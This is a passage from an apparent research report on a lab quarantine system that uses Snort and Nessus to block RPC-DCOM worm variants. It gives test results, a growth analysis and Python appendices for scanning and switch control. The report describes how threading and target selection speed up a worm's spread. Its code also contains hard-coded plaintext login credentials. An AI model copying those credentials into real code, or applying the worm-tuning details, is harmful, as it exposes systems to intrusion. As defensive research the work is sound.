the threaded variants it allowed the worm to spread to many more targets
simultaneously. This is explored in more detail in the worm documentation
above.
7.3.3. To automate each simulation, another Python script was written which
reverted the test network to a pre-infection state and began each test. This
script iterated over a list of tests. For each test it first cleared the network and
reset the VLANs on the switch, it then ran the simulation. When finished the
script collected and archived logs and reset the network in preparation for
the next test. All switch ports are reverted via a method in the netcontrol
module that restores all ports to VLAN 1. To revert the VMs, the script uses
the SysInternals utility “psexec” and the VMware command line utility
“vmrun” and tells each VM to revert to its pre-infection snapshot.

7.4. Data Collection and Parsing
7.4.1. To collect data during each simulation logs were kept from each worm and
from the quarantine system. All worm logs were sent via syslog messages to
a central logging server. After each simulation this log was archived and
renamed based on which test it corresponded to. The quarantine log was also
archived and renamed. These two logs are the primary data collection and
stored all information on worm spread and host quarantining with
timestamps.
7.4.2. A Python script was written to parse these logs and generate graphs. A
node-graph was generated for each test showing the path of transmission of
the worm across the network. The node-graph was created by the command
line utility “dot” which is part of the graphing package GraphViz. The
Python script parsed out spread events and times from the worm log file and
created a .gv file that was passed into the “dot” command line utility to
generate a JPG image. The Python script also parsed the quarantine log and
added a blue or red bar to each host in the graph, which ended when that
host was quarantine or blocked. A population line graph was also created in
a similar way. A Python script parsed the worm log and counted the number

of infected machines as time progressed. When a new spread event happened,
a new point was plotted on a graph with the time and new total population.
This graph was plotted using the open source utility “gnuplot”. The Python
script generated a .p file and passed it into gnuplot to create a PNG image
file of the line graph.

8. Simulation Results
8.1. To compare the results, the four types of system are tested by each of the four
different types of worm. First the worms were tested on the network with No
Protection to establish an expected baseline behavior of each worm. The
individual Snort and Nessus sensors on their own were tested next against each
worm variant. This helped to determine the effectiveness of each sensor
independently. Finally, the Full System test was run with both sensors and each
of the four worms. The initially infected host for each test was 192.168.1.9. This
will be referred to as Host-0.

8.2. No Protection
8.2.1. The Test.NTL worm spread from Host-0 to 192.168.1.7 at 0:00:39. The
worm then spread to the all but one of the remaining hosts incrementally
from there over the next two minutes. Twenty-three out of the twenty-four
hosts were infected by the time 0:02:51. The final host was not infected until
0:12:36 into the test. The second host to be infected was responsible for the
infection of all but one of the subsequent infections. (Figure 15.1)

Figure 8.1 – No Protection – Test.NTL

8.2.2. The Test.NTR worm spread from Host-0 to three hosts, two of which were
infected in the first five minutes. Each infected host then spread to three or
four more hosts. The last host to be infected in this test was at 0:29:07.
Twenty-two out of the twenty-four hosts on the network were infected in this
test. (Figure 15.2)

Figure 8.2 - No Protection Test.NTR

8.2.3. The Test.TL worm spread from Host-0 to two other hosts within fifty
seconds. Each infected host then spread to a few more systems. The host
with IP address 192.168.1.20 infected the most hosts in this test by infecting
seven hosts, one of which went on two infect two more. In this test, the
worm infected twenty-three of the twenty-four hosts. The last host was
infected at 0:24:27. (Figure 15.3)

Figure 8.3 - No Protection - Test.TL

8.2.4. The Test.TR worm spread from Host-0 to three hosts quickly, then one
more host toward the end of the test. The first three hosts were infected in
the first forty seconds of the test. One of those four hosts went on to infect
the rest of the hosts on the network. Each new host infected went on to infect
two or three more hosts. Twenty-two of the hosts were infected in the first
0:01:06 of the test, the last host to be infected was at 0:03:52. One host was
not infected at all in the 30-minute test. (Figure 15.4)

Figure 8.4 - No Protection - Test.TR

8.3. Nessus Only
8.3.1. The Test.NTL worm test infected nine hosts total. Host-0 was able to
spread to 192.168.1.7, which then spread to seven other hosts before the
Nessus scan completed and was able to begin quarantining hosts. All twentyfour hosts were quarantined. The Nessus scan took 0:02:13, and the first host
was quarantined at 0:02:14. The quarantine system took about fifteen
seconds to quarantine every machine, whether it was infected or not. One
machine (192.168.1.6) wasn’t detected as vulnerable by the first scan. It was
not detected until 0:11:28 after the second scan. (Figure 15.5)

Figure 8.5 - Nessus Only - Test.NTL

8.3.2. Test.NTR infected zero machines when tested with Nessus only. All
network hosts were quarantined. The first scan completed at 2:16 and
quarantined all machines by 2:34. After the infection of Host-0, the worm
infected no more hosts. (Figure 15.6)

Figure 8.6 - Nessus Only - Test.NTR

8.3.3. The Test.TL test infected twenty-two machines by 16:00. The first
machine was infected after two seconds. Host-0 infected twelve machines.
One of these “second-generation” hosts infected another seven machines,
and three other machines were infected by the other eleven. The first scan
finished at 0:05:19 but did not detect any vulnerabilities. The second scan
completed at 0:12:15 and quarantined seven hosts. Thirteen hosts were
quarantined total, with the last machine quarantined at 0:22:31. Not all
computers were quarantined. (Figure 15.7)

Figure 8.7 - Nessus Only - Test.TL

8.3.4. For the Test.TR test, the first infection occurred after 2 seconds, and the
last at 0:04:36. A total of twenty-two machines were infected. The Nessus
scan ended at 2:34, only quarantining one computer of twenty-two infected
at that point. Host-0 infected four machines, and each subsequently infected
three to four machines each. (Figure 15.8)

Figure 8.8 - Nessus Only - Test.TR

8.4. Snort Only
8.4.1. The Test.NTL worm took 58 seconds to spread from Host-0 to
192.168.1.7. The Snort sensor detected the exploit and blocked Host-0. Fifty
seconds later, 192.168.1.7 spread to 192.168.1.8 and both machines were
blocked. The quarantine system chased the worm, and caught up after 3
machines were infected. No other infections or quarantines happened after
the third block event. (Figure 15.9)

Figure 8.9 - Snort Only - Test.NTL

8.4.2. In the Test.NTR test, after initial infection, at 0:00:49, Host-0 attempted to
spread to an invulnerable host and was quarantined. No other hosts were
infected or quarantined over the next 29 minutes. (Figure 15.10)

Figure 8.10 - Snort Only - Test.NTR

8.4.3. The Test.TL worm attempted to spread from Host-0 to 192.168.1.18. Both
hosts were quarantined before the worm fully spread, when the exploit code
was detected by Snort. (Figure 15.11)

Figure 8.11 - Snort Only - Test.TL

8.4.4. The Test.TR test results behaved in the same way as the Test.TL test. The
only difference was the host that was attacked first. 192.168.1.13 was
exploited by Host-0 and blocked by the Snort sensor before the worm code
could be transmitted across the network. This resulted in both hosts being
blocked and the worm contained 4 seconds into the test. The remaining 29
minutes passed without any further events. (Figure 15.12)

Figure 8.12 - Snort Only - Test.TR

8.5. Full System
8.5.1. In the Test.NTL test, after initial infection of Host-0, the worm
unsuccessfully attempted to spread to another computer but was blocked
after 52 seconds. No other machines were blocked, quarantined, or infected
throughout the simulation. It is notable though that all three Nessus scans
failed to detect any vulnerable hosts, even though twenty-four vulnerable
hosts existed on the network. (Figure 15.13)

Figure 8.13 - Full System - Test.NTL

8.5.2. The Test.NTR worm, at 0:01:12, attempted to spread from Host-0 to an
invulnerable system and the quarantine system blocked Host-0. Between
0:12:34 and 0:21:56, twenty machines were quarantined by Nessus scans.
There were no further infections and three machines were not quarantined or
infected. (Figure 15.14)

Figure 8.14 - Full System - Test.NTR

8.5.3. 2 seconds into the Test.TL test, Host-0 spread to a second computer; both
were blocked 10 seconds later by snort. All but one of the remaining
computers were quarantined between 0:02:18 and 0:21:39. One computer
remained unaffected and twenty of the twenty hosts were protected from
infection. (Figure 15.15)

Figure 8.15 - Full System - Test.TL

8.5.4. In the Test.TR test, initial infection spread from Host-0 to 192.168.1.11
and to 192.168.1.28. Both Host-0 and 192.168.1.11 were blocked
immediately and 192.168.1.128 was blocked 2 seconds later. All three hosts
were blocked by 0:00:10 seconds. The remaining twenty-one machines were
quarantined between 0:12:29 and 0:12:45. No more machines were infected
after 0:00:10. (Figure 15.16)

Figure 8.16 - Full System - Test.TR

9. Population Growth Results
9.1. The Test.NTL worm population grew quickly from one host to twenty-two hosts
in the first three minutes. The worm took nearly a minute to spread from Host-0
to the first and second hosts. After 0:01:17, the propagation spread accelerated
and in the next minute seventeen hosts were infected. The last two hosts were
infected over the last twenty-seven minutes. (Figure 16.1)

Figure 9.1 - Worm Test.NTL

9.2. The Test.NTR worm population grew slowly for the first nine minutes of the test,
growing from one to four hosts. After 0:09:20 the population began to grow
quickly to the next nine hosts, then from there it grew steadily to reach a final
population of twenty-two hosts. (Figure 16.2)

Figure 9.2 - Worm Test.NTR

9.3. The Test.TL worm population grew very quickly from the start, the first infection
was three seconds into the test and eighteen of the hosts were infected in the first
three minutes. The final population of twenty-three was reached after another
twenty-one minutes. (Figure 16.3)

Figure 9.3 - Worm Test.TL

9.4. The Test.TR worm population grew from one infected host to twenty-two
infected hosts by 0:01:06. The last host was infected about three minutes later.
(Figure 16.4)

Figure 9.4 - Worm Test.TR

10. Simulation Analysis
10.1.
No Protection
10.1.1. The Test.NTL worm spread to 95.83% of the total population within three
minutes. The worm was able to spread so quickly because of the layout of IP
addresses on the network. The worm targets hosts by beginning at the first IP
address on the subnet and incrementing through the subnet sequentially. This
was uniquely effective against the test network because the DHCP server
assigns IP addresses sequentially from the beginning of the subnet. These
two configuration anomalies worked together to allow the worm to spread
with almost perfect success to all of the vulnerable systems on the network.
10.1.2. The Test.NTR test spread in a more predictable way across the network.
Because the worm targeted hosts randomly, it spread evenly, though a bit
slower than the linear worms. This worm demonstrates the epidemic spread
that is more prominent in flash Internet worms. As the worm spreads to a
few hosts, those hosts then go on to spread to even more. This is the effect
that the quarantine system is expected to be most effective against.

10.1.3. The Test.TL worm should be a slightly faster version of the Test.NTL
worm. Because the worm is threaded, there are many instances of the worm
scanning the network at any given time. The Test.TL worm had to be altered
slightly so that each thread scans a different section of the subnet. If this
weren’t done, all of the threads would scan the same targets at the same time,
and threading the worm would not be beneficial at all. The threaded worms
were configured to spawn fifteen threads, which scanned seventeen hosts
each. Because the DHCP server assigned IP addresses to the beginning of
the network, the first two threads were the only ones that scanned vulnerable
hosts. This explains why the Test.TL worm was about as fast as the
Test.NTL worm, even a little slower.
10.1.4. The Test.TR worm was much more able to take advantage of
multithreading because it was more suited to the random targeting. The
Test.TR worm is the fastest propagation for this reason. As previously stated,
the random worm displays the more realistic epidemic spread. This is
intensified by threading the worm because there are more random IPs being
targeted at a given time.
10.2.
Nessus Only
10.2.1. With the Nessus sensor protecting the network, the Test.NTL worm was
very effective. As seen in the baseline tests, the Test.NTL worm variant
spreads very quickly due to the placement of IP addresses by the DHCP
server. This allowed the worm to spread to nine hosts before the Nessus scan
finished at 0:02:14. Once the scan was complete, all of the hosts were
quarantined and prevented the worm from spreading further. This shows that
the Nessus sensor is effective, but limited by the scan duration.
10.2.2. The Test.NTR simulation with only the Nessus sensor was perfectly
successful. As previously noted in the last section, the Nessus scanner is
limited by its scan duration. In the baseline scan with the Test.NTR worm, it
took a while for the worm to find a vulnerable host. The first host was
infected in about one minute and the second after four minutes. When the
worm was run with the Nessus scanner protecting the network, the worm
was unable to randomly choose any vulnerable targets before the Nessus
scan was complete. This allowed the entire set of vulnerable hosts to be
quarantined before the worm could spread at all.
10.2.3. The Test.TL worm simulation shows two downfalls of the Nessus scanner.
The primary problem in this test is that the Nessus scan failed to detect any
vulnerable hosts on the first scan. This was a major problem, specifically
because the Test.TL worm is very fast. In the baseline tests the Test.TL
worm was only slightly faster than the Test.NTL worm, but the Test.TL
worm is able to spread to a larger portion of the network in the first two and
a half minutes. This is significant because the Nessus scans usually take
about two and a half minutes each. Test.TL was able to spread to twenty
hosts in that time. This speed was the second downfall of this simulation.
Even if the Nessus scan had operated properly and not failed, twenty hosts
on the network would have been infected before it completed. That is 80%
of the total population. With the scan failure the worm was able to infect

91.66% of the network. The remaining two hosts were quarantined after the
second scan completed successfully. It is likely though that the worm
targeted them and the worm was unable to spread to them for other reasons.
10.2.4. The Test.TR simulation with only Nessus was completely overcome by
the speed of the worm. The Nessus scan finished and quarantined only
192.168.1.17. The next scan completed with no results. The third scan
completed at 0:22:33 and quarantined 192.168.1.7. This scan again shows
the two failings of using only a Nessus sensor to protect the network. The
Nessus scan fails to perform properly on all three of the scans of this
simulation. If the scans had performed properly, the worm spread was so fast,
spreading to 87.5% of the population before the first Nessus scan completed.
Two of the three remaining hosts were not infected at all, and only four hosts
were quarantined at all.
10.3.
Snort Only
10.3.1. The Test.NTL test with the Snort sensor active was a drastic improvement
over any other tests thus far. The Snort sensor detected the spread event from
Host-0 to 192.168.1.7 and quarantined Host-0 immediately. The simulation
logs show that Host-0 actually attempted to exploit 192.168.1.6 at 0:00:46
but failed to spread. The Snort sensor did not detect this exploit event, as it
should have. Eleven seconds later, Host-0 spread to 192.168.1.7 and Host-0
was quarantined immediately. The quarantine system should have blocked
both hosts at this point. This can be explained based on the way the
quarantine system determines whether an exploit event culminates in a full
worm spread. The Snort sensor detects both the exploit event, and the TFTP
traffic that follows from the exploited machine. The quarantine system must
receive these two Snort events sequentially though. The system only buffers
one alert after an exploit alert. In this case it is possible that another
unrelated Snort alert was generated between the exploit alert and the TFTP
alert. This could cause the quarantine system to only block the sending host.
Fifty seconds later 192.168.1.7 spread to 192.168.1.8 and both hosts were
blocked. The quarantine system worked as expected and was able to block
only the infected hosts. The Snort sensor only takes action against hosts that
have “misbehaved”. Consequently, only the three hosts were blocked and the
rest were left untouched.
10.3.2. The Test.NTR worm tried to exploit from Host-0 to 192.168.1.72. This
host was invulnerable to the exploit and was not affected. The exploit code
traversing the network triggered a Snort alert and caused Host-0 to be
blocked immediately. At this point Host-0 was the only infected host and
was unable to communicate or spread to any other hosts on the network. The
quarantine system performed perfectly in this test; blocking Host-0 before it
could spread and not blocking any hosts unnecessarily.
10.3.3. The Test.TL simulation showed the quarantine system’s capability against
a threaded worm. The worm scanned four hosts before it found 192.168.1.18
and exploited it. Host-0 successfully exploited the target and the target
responded with TFTP traffic. The Snort sensor caught both actions and the
quarantine system immediately blocked them both. All of these events took

place within the first four seconds of the simulation. The worm was
prevented from spreading further. For the Snort sensor to work, the worm
must show itself on the network and must attempt to exploit a target. If that
first target is vulnerable, the worm will successfully spread and the Snort
sensor will block both hosts. If the target is not vulnerable, the exploit code
will trigger a Snort alert and the quarantine system will watch for the TFTP
traffic. When the TFTP traffic is not seen, the quarantine system will only
block the sending host.
10.3.4. The Test.TR simulation resulted exactly the same as the Test.TL
simulation. Host-0 scanned three targets and exploited 192.168.1.13 after
three seconds. The quarantine system blocked both Host-0 and 192.168.1.13
by 0:00:04.
10.4.
Full System
10.4.1. The Test.NTL simulation combined both the Snort sensor and the Nessus
scanner. Host-0 attempted to spread to 192.168.1.6 after fifty-two seconds.
192.168.1.6 was invulnerable and did not respond to the exploit, so the Snort
sensor only blocked Host-0. The Nessus scanner ran three times over the
thirty-minute test and each scan failed to detect any vulnerable systems on
the network. The network in fact had twenty-four hosts that were vulnerable
and should have been detected by Nessus. Without the Snort sensor in this
simulation, the worm would have likely spread unchecked. This is strong
evidence for having both sensors active in the quarantine system.
10.4.2. The Test.NTR worm in the Full System test did not spread beyond Host-0.
Host-0 attempted to exploit 192.168.1.84 and was blocked in the process.
The first Nessus scan returned with no results but the second scan detected
the vulnerability in eighteen out of twenty-three vulnerable systems. Two
more vulnerable systems were detected in the third scan and three hosts were
missed by the Nessus sensor altogether.
10.4.3. The Test.TL test resulted in two hosts blocked and twenty-one hosts
quarantined. The threaded versions of the worm in past tests exhibit a higher
capability of successfully exploiting vulnerable systems as the first target.
This proved true in this test as well, Host-0 scanned six hosts before it
successfully targeted 192.168.1.18 and spread to it. The quarantine system
detected this spread and quarantined Host-0 and 192.168.1.18 at 0:00:04 and
0:00:12 respectively. The Nessus scanner went on to detect and quarantine
seventeen hosts after the first scan and three more hosts after the second scan.
One host was left untouched by the protection system.
10.4.4. The Test.TR worm spread from Host-0 to 192.168.1.11 at 0:00:02 and
exploited 192.168.1.28 at 0:00:03. All three hosts were blocked seven
seconds later. The Nessus scanner failed to detect anything from the first
scan but successfully quarantined every other host on the network after the
second scan.

11. Population Growth Analysis
11.1.
With no protection the Test.NTL worm population growth dynamic should
be predictable by an exponential growth formula. The worm will spread to a
second host and both of them then go on to spread to two more hosts. The
population will grow from one, to two, to four, and will continue to grow
exponentially. This test initially appears to match the curve of an exponential
graph, but by looking closer at the spread timeline you see that after Host-0
spreads to the second host, that second host spreads to the rest of the network.
Because there is really a single infection vector, it is not taking advantage of an
exponential epidemic spread. This is due to two unique characteristics of the
simulation. Because the DHCP server sequentially assigns IP addresses and the
worm targets hosts linearly, the second host infected was able to spread quickly
across the network before the other hosts had the opportunity to begin scanning.
Also because all infected systems spread in the exact same pattern, later systems
will be targeting hosts that have already been infected or are invulnerable.
11.2.
The Test.NTR worm displayed a much more predictable epidemic spread
that more closely resembled an exponential spread. In this test having more
infected hosts scanning enhanced the likelihood that vulnerable systems would
be infected. This worm targeted new hosts randomly. Unlike the linear worms, it
was able to take advantage of those higher infection numbers and epidemic
spread. The curve never reached a “flash point” where it spread to the rest of the
network instantly. This is due to the overhead that the worm has between
infection and when it can begin scanning. It is also difficult to fully determine a
mathematical growth pattern with so few data points.
11.3.
The Test.TL and Test.TR worms spread extremely quickly across the
network. The population grew nearly to the maximum population in a few
minutes. The Test.TL worm gained five more hosts over the next fifteen minutes.
The Test.TR worm reached its maximum population by four minutes into the
simulation.
11.4.
Because the test network only contains twenty-four hosts, the worm
spreads much too quickly to see an exponential curve expressed in the data. All
of the data from these tests are relatively linear because of the speed of the worm
and the limits of the test network. On a much larger network, the worm could be
expected to spread slowly to start and accelerate until it reaches a nearly vertical
growth line. On a bounded network, the worm would continue to grow at this
rate until all vulnerable hosts are infected. On an unbounded network it would
eventually plateau as each host has a harder and harder time finding vulnerable
hosts. This ending curve would match a logarithmic function.

12. Quarantine System Performance
12.1.
The quarantine system, when fully enabled was very effective against all
four variants of the Test worm. In the full system tests, the worm was able to, at
most, spread from the initial infection to two other systems before it was stopped
completely. Of the four full protection simulations, 50% of them prevented the
worm from spreading beyond Host-0. Because the two threaded variants of the

worm were better able to target vulnerable hosts for the first spread, these two
worms were able to spread from Host-0 to a second host. In the Test.TR variant
the worm was caught by the system as it spread to a third host. Fully enabled,
over the course of all four tests, the system was able to protect 89/96 hosts, or
92.7% of the vulnerable system. This is an improvement of from 95.8% spread to
7.3% spread.
12.2.
The Snort sensor was extremely effective in all of its tests. It was able to
catch spreading worms and block the infection before the worm spread to the rest
of the network. Of the eight simulations that were run with the Snort sensor
turned on, 37.5% of them were caught before any spread events occurred, 37.5%
of them were caught after a single spread, and 25% of them resulted in three
infected hosts. Over all four Snort only tests, infection population was reduced
from 95.8% to 8.3%.
12.3.
Although the Nessus scanner had problems during a few tests, it was
valuable. In a hypothetical real world scenario, when a new worm is released, it
would be important to separate the vulnerable systems before the worm reaches
them. The Nessus scan was most effective when the scan had time to complete
and quarantine the hosts before the worm could spread. Further testing could
verify this by activating the quarantine system with some time to scan before the
worm was released could have explored this. This would likely completely
mitigate the first problem of timing by allowing Nessus to scan the network and
take action. The second Nessus problem was unreliability. This could be due to
problems with the Nessus plugins that detect the RPC-DCOM vulnerability or
possibly a consequence of higher traffic on the network as the worm scans. To
mitigate this problem, the cause would have to be determined and rectified. If it
is in fact a plugin issue, Tenable could be notified to correct the problem, or local
security engineers could modify the plugin themselves. If high traffic caused the
failure; Nessus could potentially be configured with a longer timeout for plugin
responses, or network upgrades could provide more bandwidth. If this system
was running on an uninfected network, this spread traffic would only be a
problem during a flash worm attack. Before such an attack, Nessus would
presumably work without issue and be able to properly identify and quarantine
vulnerable systems.
12.4.
Overall it can be easily concluded that the use of such a quarantine system
has a drastic slowing effect on the propagation of a computer worm. Such a
system could be valuable on a consumer Internet Service Provider’s network
because it does not require any configuration on the end hosts. By implementing
such a system, flash worm infections could be slowed or stopped before they
reach a critical mass and could potentially prevent disastrous consequences of
worm attack.

13. Future Research
13.1.
The next step for this research is to scale it up from the small network tests
in this paper to a much larger network. It would require significant development
to expand the quarantine system from its current version, which works on a

single switch, to a version that would handle multiple switches. On a larger scale
it would be possible to integrate hundreds of mixed systems, both vulnerable and
invulnerable to the worm exploit. A larger network and more tests would provide
enough population growth data to properly plot the growth and match a true
epidemic spread model.
13.2.
More future research would be to test the quarantine system against
worms in the wild. This would be beneficial to better test its effectiveness against
worms that try to evade intrusion detection or exploit unique vulnerabilities.
Testing the network against multiple worms at the same time would also help test
the system.
13.3.
Before a quarantine system such as this can be put into production on a
large scale it must be proven to be cost effective. The effectiveness of the system
has been shown with this research, but a cost-benefit analysis that weighs the risk
associated with worm damage against the cost of the system would be valuable.
13.4.
Finally, as mentioned in the previous section, it would be good to find
how beneficial the Nessus system is, when activated before the worm is released.
This would possibly improve the performance of Nessus by removing one of the
two problems with the Nessus sensor.
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15. Appendix A – commandcenter.py
import nessusscan, time, threading, sys, queue, snortmonitor, netcontrol,
commandcenter
from time import strftime
running = False
debug = False
def logprint(log):
print(strftime("%m-%d-%Y %H:%M:%S - ") + log )
fp = open("commandlog.txt", "a")
fp.write(strftime("%m-%d-%Y %H:%M:%S - ") + log +"\n")
fp.close()
def main():
thread = commandcenter.Commander(True, True)
thread.daemon = True
thread.start()
time.sleep(65)
class Commander(threading.Thread):
def __init__(self, snort, ness):
self.snort = snort
self.ness = ness
threading.Thread.__init__(self)
def run(self):
serv = snortmonitor.Server()
serv.daemon = True
if(self.snort):
logprint("Command: Starting Snort Monitor:")
serv.start()
nessus = nessusscan.NessusScanner()
nessus.daemon = True
if(self.ness):
logprint("Command: Starting Nessus Scanner")
nessus.start()
queuemonitor = netcontrol.Monitor(serv.infected,
nessus.quarantinequeue)
queuemonitor.daemon = True
logprint("Command: Starting netcontrol")
queuemonitor.start()
time.sleep(30*60) #run 30 min test
netcontrol.listinfected()
if(self.snort):
logprint("Command: Stopping Snort")
serv.stop()
if(self.ness):
logprint("Command: Stopping Nessus")
nessus.stop()
logprint("Command: Stopping Netcontrol")
queuemonitor.stop()
logprint("Command: Waiting for threads to stop")

if(__name__ == '__main__'):
main()

16. Appendix B – nessusscan.py
import sys, http.client, urllib, threading, time, queue
from xml.dom import minidom
from time import strftime
#Globals
nessusserver = "192.168.1.140:8834"
target = "192.168.1.0/24"
policy = "1"
debug = False
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}
def logprint(log):
print(strftime("%m-%d-%Y %H:%M:%S - ") + log )
fp = open("commandlog.txt", "a")
fp.write(strftime("%m-%d-%Y %H:%M:%S - ") + log +"\n")
fp.close()
def login(nessuscon):
#Login and get token
params = urllib.parse.urlencode({"login": "tjt", "password":
"tuftus", "seq": "1"})
nessuscon.request("POST", "/login", params, headers)
response2 = nessuscon.getresponse()
data = response2.read()
token =
minidom.parseString(data).getElementsByTagName("token")[0].firstChil
d.data
return token
def scan(nessuscon):
#Create scan and get scan uuid
params = urllib.parse.urlencode({"seq": "2", "scan_name": "DCOM",
"policy_id": policy, "target": target})
nessuscon.request("POST", "/scan/new", params, headers)
response2 = nessuscon.getresponse()
data = response2.read()
if (debug):
logprint("Starting scan of %s with policy number %s" % (target,
policy))
scanuuid =
minidom.parseString(data).getElementsByTagName("uuid")[0].firstChild
.data
return scanuuid
def scanwait(nessuscon):
#Wait for scan to finish
if (debug):
logprint("Waiting for scan to finish")

while True:
params = urllib.parse.urlencode({"seq": "2"})
nessuscon.request("POST", "/scan/list", params, headers)
response2 = nessuscon.getresponse()
data = response2.read()
remaining =
len(minidom.parseString(data).getElementsByTagName("scan"))
if(remaining == 0):
if (debug):
logprint("Finished")
break
def stopscans():
nessuscon = http.client.HTTPSConnection("192.168.1.140:8834")
token = login(nessuscon)
headers["Cookie"] = "token="+token
#Stop all scans
params = urllib.parse.urlencode({"seq": "2"})
nessuscon.request("POST", "/scan/list", params, headers)
response2 = nessuscon.getresponse()
data = response2.read()
remaining =
len(minidom.parseString(data).getElementsByTagName("scan"))
if(remaining > 0):
for scan in
minidom.parseString(data).getElementsByTagName("uuid"):
scanuuid = scan.firstChild.data
params = urllib.parse.urlencode({"seq": "2",
"scan_uuid": scanuuid})
nessuscon.request("POST", "/scan/stop", params,
headers)
response2 = nessuscon.getresponse()
data = response2.read()
logout(nessuscon)
def deletereports():
nessuscon = http.client.HTTPSConnection("192.168.1.140:8834")
token = login(nessuscon)
headers["Cookie"] = "token="+token
#Get last report ID
params = urllib.parse.urlencode({"seq": "2"})
nessuscon.request("POST", "/report/list", params, headers)
response2 = nessuscon.getresponse()
data = response2.read()
for report in
minidom.parseString(data).getElementsByTagName("name"):
#Delete report from server
params = urllib.parse.urlencode({"seq": "2", "report":
report.firstChild.data})
nessuscon.request("POST", "/report/delete", params, headers)

response2 = nessuscon.getresponse()
data = response2.read()
nessuscon.close()
def getreport(nessuscon):
#Get last report ID
params = urllib.parse.urlencode({"seq": "2"})
nessuscon.request("POST", "/report/list", params, headers)
response2 = nessuscon.getresponse()
data = response2.read()
lastReport =
minidom.parseString(data).getElementsByTagName("name")[0].firstChild
.data
if(debug): logprint("Nessus: Retrieving report")
#Download last report
params = urllib.parse.urlencode({"seq": "2", "report": lastReport})
nessuscon.request("POST", "/file/report/download", params, headers)
response2 = nessuscon.getresponse()
data = response2.read()
report = data
#Delete report from server
params = urllib.parse.urlencode({"seq": "2", "report": lastReport})
nessuscon.request("POST", "/report/delete", params, headers)
response2 = nessuscon.getresponse()
data = response2.read()
return (report, lastReport)
def logreport(report, lastReport):
#Save report to file
logfile = open("C:\\quarantine\\nessuslogs\\"+lastReport+".log",
"w")
logfile.write(str(report, "utf-8"))
logfile.close()
def parsereport(report):
#Parse report into 3 dicts, severity 1-3, containing IPs and
pluginIDs
log = minidom.parseString(report)
reporthosts = log.getElementsByTagName('ReportHost')
if(debug): logprint("Nessus: Parsing report")
s1 = dict()
s2 = dict()
s3 = dict()
for host in reporthosts:
reportitems = host.getElementsByTagName('ReportItem')
for item in reportitems:
if(item.attributes['severity'].value == '3'): ## Find
severity level 3 plugins
if host.attributes['name'].value in s3:

s3[host.attributes['name'].value].append(item.attributes['pluginID']
.value)
else:
s3[host.attributes['name'].value] =
[item.attributes['pluginID'].value]
if(item.attributes['severity'].value == '2'): ## Find
severity level 2 plugins
if host.attributes['name'].value in s2:
s2[host.attributes['name'].value].append(item.attributes['pluginID']
.value)
else:
s2[host.attributes['name'].value] =
[item.attributes['pluginID'].value]
if(item.attributes['severity'].value == '1'): ## Find
severity level 1 plugins
if host.attributes['name'].value in s1:
s1[host.attributes['name'].value].append(item.attributes['pluginID']
.value)
else:
s1[host.attributes['name'].value] =
[item.attributes['pluginID'].value]
# logprint parsed report
if(debug):
if (len(s1) > 0):
logprint("\n\n### Severity 1 Items ###")
for line in s1.items():
logprint("%s: \n %s" % (line[0], line[1]))
if (len(s2) > 0):
logprint("\n\n### Severity 2 Items ###")
for line in s2.items():
logprint("%s: \n %s" % (line[0], line[1]))
if (len(s3) > 0):
logprint("\n\n### Severity 3 Items ###")
for line in s3.items():
logprint("%s: \n %s" % (line[0], line[1]))
return (s1, s2, s3)
def logout(nessuscon):
nessuscon.close()

def startscan():
try:
logprint("Nessus: Beginning new scan of %s" % target)
nessuscon = http.client.HTTPSConnection("192.168.1.140:8834")
token = login(nessuscon)
headers["Cookie"] = "token="+token

#
#

stopscans(nessuscon)
logout(nessuscon)
scan(nessuscon)
scanwait(nessuscon)

reportinfo = getreport(nessuscon)
report = reportinfo[0]
lastReport = reportinfo[1]
logreport(report, lastReport)
nessusresults = parsereport(report)
if(nessusresults != None):
logout(nessuscon)
logprint("Nessus: Scan complete")
return nessusresults
else:
return -1
except:
stopscans()
deletereports()
logout(nessuscon)

class Timer(threading.Thread):
def __init__(self, mins):
self.running = False
self.runTime = mins
self.runtime = True
threading.Thread.__init__(self)
def run(self):
self.running = True
for i in range(0,self.runTime):
if(not self.runtime):
logprint("Nessus: Timer broken")
break
logprint("Nessus: Minutes to next scan: %d" %
(self.runTime-i))
time.sleep(60)
self.running = False
def stop(self):
self.runtime = False

class NessusScanner(threading.Thread):
def __init__(self):
self.running = False
self.quarantinequeue = queue.Queue()
threading.Thread.__init__(self)
self.runscans = True
def stop(self):
self.runscans = False
logprint("Nessus: Recieved stop signal")
stopscans()
deletereports()
logprint("Nessus: Scans stopped and reports deleted")
def run(self):
quarantinequeue = self.quarantinequeue
logprint("Nessus: Nessus Scanner running...")
t = Timer(10)
while self.runscans:
#Wait for timer to finish before starting a new scan

if(not t.running):
t = Timer(10)
t.daemon = True
t.start()
nessusresults = startscan()
if(nessusresults != -1):
try:
for host in nessusresults[2].keys():
logprint("Nessus: Queueing %s" % host)
quarantinequeue.put(host)
except:
logprint("Nessus: No results")
pass
#If a timer is running wait 10 seconds then try again
else:
time.sleep(10)
logprint("Nessus: Nessus Scanner Stopping")
t.stop()

def main():
quar = queue.Queue()
scan = NessusScanner()
scan.daemon = True
scan.start()
print("Here")
scan.stop()
print("here")

if __name__ == '__main__':
main()

17. Appendix C – netcontrol.py
import os
import telnetlib
import time
import threading
import queue
from subprocess import Popen, PIPE
from time import strftime
DEBUG = False
INFECTED = 1
VULNERABLE = 0
username = "pyle"
password = "tuftus"
host = "192.168.1.145"
def logprint(log):
print(strftime("%m-%d-%Y %H:%M:%S - ") + log )
fp = open("commandlog.txt", "a")
fp.write(strftime("%m-%d-%Y %H:%M:%S - ") + log +"\n")
fp.close()

def login(telnet, username, password):
if(DEBUG): logprint("LOGGING IN")
read = telnet.read_until(b"Username: ")
if(DEBUG): logprint(read.decode())
telnet.write(username.encode('ascii') + b"\r")
read = telnet.read_until(b"Password: ")
if(DEBUG): logprint(read.decode())
telnet.write(password.encode('ascii') + b"\r")
read = telnet.read_some()
if(DEBUG): logprint(read.decode())
def enable(telnet, password):
if(DEBUG): logprint("ENABLE SECRET")
telnet.write(b"enable\r")
read = telnet.read_until(b"Password: ")
if(DEBUG): logprint(read.decode())
telnet.write(password.encode('ascii') + b"\r")
read = telnet.read_some()
if(DEBUG): logprint(read.decode())
def findmac(telnet, macaddress):
if(DEBUG): logprint("FINDING MAC")
if(DEBUG): logprint(macaddress)
telnet.write(b"show mac-address-table address " +
macaddress.encode('ascii') + b"\r")
mactable = telnet.read_until(b"wardrobe#")
if(DEBUG): logprint(mactable.decode())
if(DEBUG): logprint(macaddress)
found = mactable.decode().find(macaddress)
found = mactable.decode().find(macaddress, found+14)
if(found == -1):
return -1
